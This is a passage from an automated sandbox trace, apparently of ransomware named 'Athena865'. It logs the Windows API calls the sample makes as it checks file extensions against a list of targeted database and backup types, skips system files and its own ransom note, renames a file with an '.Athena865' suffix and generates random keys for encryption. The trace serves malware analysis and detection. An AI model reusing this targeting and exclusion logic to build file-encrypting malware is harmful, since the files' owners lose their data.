(lpString1="DLL", lpString2="ade") returned 1 [0139.434] lstrlenW (lpString="adf") returned 3 [0139.434] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0139.434] lstrlenW (lpString="adn") returned 3 [0139.434] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0139.434] lstrlenW (lpString="adp") returned 3 [0139.434] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0139.434] lstrlenW (lpString="alf") returned 3 [0139.434] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0139.435] lstrlenW (lpString="ask") returned 3 [0139.435] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0139.435] lstrlenW (lpString="btr") returned 3 [0139.435] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0139.435] lstrlenW (lpString="cat") returned 3 [0139.435] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0139.435] lstrlenW (lpString="cdb") returned 3 [0139.435] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0139.435] lstrlenW (lpString="ckp") returned 3 [0139.435] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0139.435] lstrlenW (lpString="cma") returned 3 [0139.435] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0139.435] lstrlenW (lpString="cpd") returned 3 [0139.435] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0139.435] lstrlenW (lpString="dacpac") returned 6 [0139.435] lstrcmpiW (lpString1="UI.DLL", lpString2="dacpac") returned 1 [0139.435] lstrlenW (lpString="dad") returned 3 [0139.435] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0139.435] lstrlenW (lpString="dadiagrams") returned 10 [0139.435] lstrcmpiW (lpString1="CDDSUI.DLL", lpString2="dadiagrams") returned -1 [0139.435] lstrlenW (lpString="daschema") returned 8 [0139.435] lstrcmpiW (lpString1="DSUI.DLL", lpString2="daschema") returned 1 [0139.435] lstrlenW (lpString="db-journal") returned 10 [0139.435] lstrcmpiW (lpString1="CDDSUI.DLL", lpString2="db-journal") returned -1 [0139.435] lstrlenW (lpString="db-shm") returned 6 [0139.435] lstrcmpiW (lpString1="UI.DLL", lpString2="db-shm") returned 1 [0139.435] lstrlenW (lpString="db-wal") returned 6 [0139.436] lstrcmpiW (lpString1="UI.DLL", lpString2="db-wal") returned 1 [0139.436] lstrlenW (lpString="dbc") returned 3 [0139.436] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0139.436] lstrlenW (lpString="dbs") returned 3 [0139.436] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0139.436] lstrlenW (lpString="dbt") returned 3 [0139.436] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0139.436] lstrlenW (lpString="dbv") returned 3 [0139.436] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0139.436] lstrlenW (lpString="dbx") returned 3 [0139.436] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0139.436] lstrlenW (lpString="dcb") returned 3 [0139.436] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0139.436] lstrlenW (lpString="dct") returned 3 [0139.436] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0139.436] lstrlenW (lpString="dcx") returned 3 [0139.436] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0139.436] lstrlenW (lpString="ddl") returned 3 [0139.436] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0139.436] lstrlenW (lpString="dlis") returned 4 [0139.436] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0139.436] lstrlenW (lpString="dp1") returned 3 [0139.436] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0139.436] lstrlenW (lpString="dqy") returned 3 [0139.436] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0139.436] lstrlenW (lpString="dsk") returned 3 [0139.436] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0139.436] lstrlenW (lpString="dsn") returned 3 [0139.436] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0139.437] lstrlenW (lpString="dtsx") returned 4 [0139.437] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0139.437] lstrlenW (lpString="dxl") returned 3 [0139.437] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0139.437] lstrlenW (lpString="eco") returned 3 [0139.437] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0139.437] lstrlenW (lpString="ecx") returned 3 [0139.437] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0139.437] lstrlenW (lpString="edb") returned 3 [0139.437] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0139.437] lstrlenW (lpString="epim") returned 4 [0139.437] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0139.437] lstrlenW (lpString="fcd") returned 3 [0139.437] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0139.437] lstrlenW (lpString="fdb") returned 3 [0139.437] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0139.437] lstrlenW (lpString="fic") returned 3 [0139.437] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0139.437] lstrlenW (lpString="flexolibrary") returned 12 [0139.437] lstrlenW (lpString="fm5") returned 3 [0139.437] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0139.437] lstrlenW (lpString="fmp") returned 3 [0139.437] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0139.437] lstrlenW (lpString="fmp12") returned 5 [0139.437] lstrcmpiW (lpString1="I.DLL", lpString2="fmp12") returned 1 [0139.437] lstrlenW (lpString="fmpsl") returned 5 [0139.437] lstrcmpiW (lpString1="I.DLL", lpString2="fmpsl") returned 1 [0139.437] lstrlenW (lpString="fol") returned 3 [0139.437] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0139.438] lstrlenW (lpString="fp3") returned 3 [0139.438] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0139.438] lstrlenW (lpString="fp4") returned 3 [0139.438] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0139.438] lstrlenW (lpString="fp5") returned 3 [0139.438] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0139.438] lstrlenW (lpString="fp7") returned 3 [0139.438] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0139.438] lstrlenW (lpString="fpt") returned 3 [0139.438] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0139.438] lstrlenW (lpString="frm") returned 3 [0139.438] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0139.438] lstrlenW (lpString="gdb") returned 3 [0139.438] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0139.438] lstrlenW (lpString="gdb") returned 3 [0139.438] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0139.438] lstrlenW (lpString="grdb") returned 4 [0139.438] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0139.438] lstrlenW (lpString="gwi") returned 3 [0139.438] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0139.438] lstrlenW (lpString="hdb") returned 3 [0139.438] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0139.438] lstrlenW (lpString="his") returned 3 [0139.438] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0139.438] lstrlenW (lpString="ib") returned 2 [0139.438] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0139.438] lstrlenW (lpString="idb") returned 3 [0139.438] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0139.438] lstrlenW (lpString="ihx") returned 3 [0139.438] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0139.439] lstrlenW (lpString="itdb") returned 4 [0139.439] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0139.439] lstrlenW (lpString="itw") returned 3 [0139.439] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0139.439] lstrlenW (lpString="jet") returned 3 [0139.439] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0139.439] lstrlenW (lpString="jtx") returned 3 [0139.439] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0139.439] lstrlenW (lpString="kdb") returned 3 [0139.439] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0139.439] lstrlenW (lpString="kexi") returned 4 [0139.439] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0139.439] lstrlenW (lpString="kexic") returned 5 [0139.439] lstrcmpiW (lpString1="I.DLL", lpString2="kexic") returned -1 [0139.439] lstrlenW (lpString="kexis") returned 5 [0139.439] lstrcmpiW (lpString1="I.DLL", lpString2="kexis") returned -1 [0139.439] lstrlenW (lpString="lgc") returned 3 [0139.439] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0139.439] lstrlenW (lpString="lwx") returned 3 [0139.439] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0139.439] lstrlenW (lpString="maf") returned 3 [0139.439] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0139.439] lstrlenW (lpString="maq") returned 3 [0139.439] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0139.439] lstrlenW (lpString="mar") returned 3 [0139.439] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0139.439] lstrlenW (lpString="marshal") returned 7 [0139.439] lstrcmpiW (lpString1="SUI.DLL", lpString2="marshal") returned 1 [0139.439] lstrlenW (lpString="mas") returned 3 [0139.439] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0139.440] lstrlenW (lpString="mav") returned 3 [0139.440] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0139.440] lstrlenW (lpString="maw") returned 3 [0139.440] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0139.440] lstrlenW (lpString="mdbhtml") returned 7 [0139.440] lstrcmpiW (lpString1="SUI.DLL", lpString2="mdbhtml") returned 1 [0139.440] lstrlenW (lpString="mdn") returned 3 [0139.440] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0139.440] lstrlenW (lpString="mdt") returned 3 [0139.440] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0139.440] lstrlenW (lpString="mfd") returned 3 [0139.440] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0139.440] lstrlenW (lpString="mpd") returned 3 [0139.440] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0139.440] lstrlenW (lpString="mrg") returned 3 [0139.440] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0139.440] lstrlenW (lpString="mud") returned 3 [0139.440] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0139.440] lstrlenW (lpString="mwb") returned 3 [0139.440] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0139.440] lstrlenW (lpString="myd") returned 3 [0139.440] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0139.440] lstrlenW (lpString="ndf") returned 3 [0139.440] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0139.440] lstrlenW (lpString="nnt") returned 3 [0139.440] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0139.440] lstrlenW (lpString="nrmlib") returned 6 [0139.440] lstrcmpiW (lpString1="UI.DLL", lpString2="nrmlib") returned 1 [0139.440] lstrlenW (lpString="ns2") returned 3 [0139.441] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0139.441] lstrlenW (lpString="ns3") returned 3 [0139.441] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0139.441] lstrlenW (lpString="ns4") returned 3 [0139.441] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0139.441] lstrlenW (lpString="nsf") returned 3 [0139.441] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0139.441] lstrlenW (lpString="nv") returned 2 [0139.441] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0139.441] lstrlenW (lpString="nv2") returned 3 [0139.441] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0139.441] lstrlenW (lpString="nwdb") returned 4 [0139.441] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0139.441] lstrlenW (lpString="nyf") returned 3 [0139.441] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0139.441] lstrlenW (lpString="odb") returned 3 [0139.441] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0139.441] lstrlenW (lpString="odb") returned 3 [0139.441] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0139.441] lstrlenW (lpString="oqy") returned 3 [0139.441] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0139.441] lstrlenW (lpString="ora") returned 3 [0139.441] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0139.441] lstrlenW (lpString="orx") returned 3 [0139.441] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0139.441] lstrlenW (lpString="owc") returned 3 [0139.441] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0139.441] lstrlenW (lpString="p96") returned 3 [0139.441] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0139.442] lstrlenW (lpString="p97") returned 3 [0139.442] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0139.442] lstrlenW (lpString="pan") returned 3 [0139.442] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0139.442] lstrlenW (lpString="pdb") returned 3 [0139.442] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0139.442] lstrlenW (lpString="pdm") returned 3 [0139.442] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0139.442] lstrlenW (lpString="pnz") returned 3 [0139.442] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0139.442] lstrlenW (lpString="qry") returned 3 [0139.442] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0139.442] lstrlenW (lpString="qvd") returned 3 [0139.442] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0139.442] lstrlenW (lpString="rbf") returned 3 [0139.442] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0139.442] lstrlenW (lpString="rctd") returned 4 [0139.442] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0139.442] lstrlenW (lpString="rod") returned 3 [0139.442] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0139.442] lstrlenW (lpString="rodx") returned 4 [0139.442] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0139.442] lstrlenW (lpString="rpd") returned 3 [0139.442] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0139.442] lstrlenW (lpString="rsd") returned 3 [0139.442] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0139.442] lstrlenW (lpString="sas7bdat") returned 8 [0139.442] lstrcmpiW (lpString1="DSUI.DLL", lpString2="sas7bdat") returned -1 [0139.442] lstrlenW (lpString="sbf") returned 3 [0139.443] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0139.443] lstrlenW (lpString="scx") returned 3 [0139.443] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0139.443] lstrlenW (lpString="sdb") returned 3 [0139.443] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0139.443] lstrlenW (lpString="sdc") returned 3 [0139.443] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0139.443] lstrlenW (lpString="sdf") returned 3 [0139.443] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0139.443] lstrlenW (lpString="sis") returned 3 [0139.443] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0139.443] lstrlenW (lpString="spq") returned 3 [0139.443] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0139.443] lstrlenW (lpString="te") returned 2 [0139.443] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0139.443] lstrlenW (lpString="teacher") returned 7 [0139.443] lstrcmpiW (lpString1="SUI.DLL", lpString2="teacher") returned -1 [0139.443] lstrlenW (lpString="tmd") returned 3 [0139.443] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0139.443] lstrlenW (lpString="tps") returned 3 [0139.443] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0139.443] lstrlenW (lpString="trc") returned 3 [0139.443] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0139.443] lstrlenW (lpString="trc") returned 3 [0139.443] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0139.443] lstrlenW (lpString="trm") returned 3 [0139.443] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0139.443] lstrlenW (lpString="udb") returned 3 [0139.443] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0139.444] lstrlenW (lpString="udl") returned 3 [0139.444] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0139.444] lstrlenW (lpString="usr") returned 3 [0139.444] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0139.444] lstrlenW (lpString="v12") returned 3 [0139.444] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0139.444] lstrlenW (lpString="vis") returned 3 [0139.444] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0139.444] lstrlenW (lpString="vpd") returned 3 [0139.444] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0139.444] lstrlenW (lpString="vvv") returned 3 [0139.444] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0139.444] lstrlenW (lpString="wdb") returned 3 [0139.444] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0139.444] lstrlenW (lpString="wmdb") returned 4 [0139.444] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0139.444] lstrlenW (lpString="wrk") returned 3 [0139.444] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0139.444] lstrlenW (lpString="xdb") returned 3 [0139.444] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0139.444] lstrlenW (lpString="xld") returned 3 [0139.444] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0139.444] lstrlenW (lpString="xmlff") returned 5 [0139.444] lstrcmpiW (lpString1="I.DLL", lpString2="xmlff") returned -1 [0139.444] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL.Athena865") returned 70 [0139.444] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accddsui.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accddsui.dll.athena865"), dwFlags=0x1) returned 1 [0139.447] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accddsui.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0139.447] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=21424) returned 1 [0139.447] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0139.448] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0139.448] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0139.448] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0139.448] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0139.448] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0139.449] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x56b0, lpName=0x0) returned 0x154 [0139.450] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x56b0) returned 0x100000 [0139.451] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0139.452] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0139.452] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0139.452] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0139.452] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0139.452] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0139.452] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0139.452] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0139.453] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0139.453] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0139.453] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0139.453] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0139.453] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0139.453] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0139.453] CloseHandle (hObject=0x154) returned 1 [0139.453] CloseHandle (hObject=0x17c) returned 1 [0139.453] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0139.453] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0139.453] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0139.454] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d407000, ftCreationTime.dwHighDateTime=0x1ca8d26, ftLastAccessTime.dwLowDateTime=0x14ebe6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9d407000, ftLastWriteTime.dwHighDateTime=0x1ca8d26, nFileSizeHigh=0x0, nFileSizeLow=0x79000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ACCESS12.ACC", cAlternateFileName="")) returned 1 [0139.454] lstrcmpiW (lpString1="ACCESS12.ACC", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0139.454] lstrcmpiW (lpString1="ACCESS12.ACC", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0139.454] lstrcmpiW (lpString1="ACCESS12.ACC", lpString2=".") returned 1 [0139.454] lstrcmpiW (lpString1="ACCESS12.ACC", lpString2="..") returned 1 [0139.454] lstrcmpiW (lpString1="ACCESS12.ACC", lpString2="windows") returned -1 [0139.454] lstrcmpiW (lpString1="ACCESS12.ACC", lpString2="bootmgr") returned -1 [0139.454] lstrcmpiW (lpString1="ACCESS12.ACC", lpString2="temp") returned -1 [0139.454] lstrcmpiW (lpString1="ACCESS12.ACC", lpString2="pagefile.sys") returned -1 [0139.454] lstrcmpiW (lpString1="ACCESS12.ACC", lpString2="boot") returned -1 [0139.454] lstrcmpiW (lpString1="ACCESS12.ACC", lpString2="ids.txt") returned -1 [0139.454] lstrcmpiW (lpString1="ACCESS12.ACC", lpString2="ntuser.dat") returned -1 [0139.454] lstrcmpiW (lpString1="ACCESS12.ACC", lpString2="perflogs") returned -1 [0139.454] lstrcmpiW (lpString1="ACCESS12.ACC", lpString2="MSBuild") returned -1 [0139.454] lstrlenW (lpString="ACCESS12.ACC") returned 12 [0139.454] lstrcpyW (in: lpString1=0x241e8a8, lpString2="ACCESS12.ACC" | out: lpString1="ACCESS12.ACC") returned="ACCESS12.ACC" [0139.454] lstrlenW (lpString="ACCESS12.ACC") returned 12 [0139.454] lstrlenW (lpString="Athena865") returned 9 [0139.454] lstrcmpiW (lpString1="ESS12.ACC", lpString2="Athena865") returned 1 [0139.454] lstrlenW (lpString=".dll") returned 4 [0139.454] lstrcmpiW (lpString1="ACCESS12.ACC", lpString2=".dll") returned 1 [0139.454] lstrlenW (lpString=".lnk") returned 4 [0139.454] lstrcmpiW (lpString1="ACCESS12.ACC", lpString2=".lnk") returned 1 [0139.455] lstrlenW (lpString=".ini") returned 4 [0139.455] lstrcmpiW (lpString1="ACCESS12.ACC", lpString2=".ini") returned 1 [0139.455] lstrlenW (lpString=".sys") returned 4 [0139.455] lstrcmpiW (lpString1="ACCESS12.ACC", lpString2=".sys") returned 1 [0139.455] lstrlenW (lpString="ACCESS12.ACC") returned 12 [0139.455] lstrlenW (lpString="bak") returned 3 [0139.455] lstrcmpiW (lpString1="ACC", lpString2="bak") returned -1 [0139.455] lstrlenW (lpString="ba_") returned 3 [0139.455] lstrcmpiW (lpString1="ACC", lpString2="ba_") returned -1 [0139.455] lstrlenW (lpString="dbb") returned 3 [0139.455] lstrcmpiW (lpString1="ACC", lpString2="dbb") returned -1 [0139.455] lstrlenW (lpString="vmdk") returned 4 [0139.455] lstrcmpiW (lpString1=".ACC", lpString2="vmdk") returned -1 [0139.455] lstrlenW (lpString="rar") returned 3 [0139.455] lstrcmpiW (lpString1="ACC", lpString2="rar") returned -1 [0139.455] lstrlenW (lpString="zip") returned 3 [0139.455] lstrcmpiW (lpString1="ACC", lpString2="zip") returned -1 [0139.455] lstrlenW (lpString="tgz") returned 3 [0139.455] lstrcmpiW (lpString1="ACC", lpString2="tgz") returned -1 [0139.455] lstrlenW (lpString="vbox") returned 4 [0139.455] lstrcmpiW (lpString1=".ACC", lpString2="vbox") returned -1 [0139.455] lstrlenW (lpString="vdi") returned 3 [0139.455] lstrcmpiW (lpString1="ACC", lpString2="vdi") returned -1 [0139.455] lstrlenW (lpString="vhd") returned 3 [0139.455] lstrcmpiW (lpString1="ACC", lpString2="vhd") returned -1 [0139.455] lstrlenW (lpString="vhdx") returned 4 [0139.455] lstrcmpiW (lpString1=".ACC", lpString2="vhdx") returned -1 [0139.455] lstrlenW (lpString="avhd") returned 4 [0139.455] lstrcmpiW (lpString1=".ACC", lpString2="avhd") returned -1 [0139.455] lstrlenW (lpString="db") returned 2 [0139.456] lstrcmpiW (lpString1="CC", lpString2="db") returned -1 [0139.456] lstrlenW (lpString="db2") returned 3 [0139.456] lstrcmpiW (lpString1="ACC", lpString2="db2") returned -1 [0139.456] lstrlenW (lpString="db3") returned 3 [0139.456] lstrcmpiW (lpString1="ACC", lpString2="db3") returned -1 [0139.456] lstrlenW (lpString="dbf") returned 3 [0139.456] lstrcmpiW (lpString1="ACC", lpString2="dbf") returned -1 [0139.456] lstrlenW (lpString="mdf") returned 3 [0139.456] lstrcmpiW (lpString1="ACC", lpString2="mdf") returned -1 [0139.456] lstrlenW (lpString="mdb") returned 3 [0139.456] lstrcmpiW (lpString1="ACC", lpString2="mdb") returned -1 [0139.456] lstrlenW (lpString="sql") returned 3 [0139.456] lstrcmpiW (lpString1="ACC", lpString2="sql") returned -1 [0139.456] lstrlenW (lpString="sqlite") returned 6 [0139.456] lstrcmpiW (lpString1="12.ACC", lpString2="sqlite") returned -1 [0139.456] lstrlenW (lpString="sqlite3") returned 7 [0139.456] lstrcmpiW (lpString1="S12.ACC", lpString2="sqlite3") returned -1 [0139.456] lstrlenW (lpString="sqlitedb") returned 8 [0139.456] lstrcmpiW (lpString1="SS12.ACC", lpString2="sqlitedb") returned 1 [0139.456] lstrlenW (lpString="xml") returned 3 [0139.456] lstrcmpiW (lpString1="ACC", lpString2="xml") returned -1 [0139.456] lstrlenW (lpString="$er") returned 3 [0139.456] lstrcmpiW (lpString1="ACC", lpString2="$er") returned 1 [0139.456] lstrlenW (lpString="4dd") returned 3 [0139.456] lstrcmpiW (lpString1="ACC", lpString2="4dd") returned 1 [0139.456] lstrlenW (lpString="4dl") returned 3 [0139.456] lstrcmpiW (lpString1="ACC", lpString2="4dl") returned 1 [0139.456] lstrlenW (lpString="^^^") returned 3 [0139.456] lstrcmpiW (lpString1="ACC", lpString2="^^^") returned 1 [0139.456] lstrlenW (lpString="abs") returned 3 [0139.457] lstrcmpiW (lpString1="ACC", lpString2="abs") returned 1 [0139.457] lstrlenW (lpString="abx") returned 3 [0139.457] lstrcmpiW 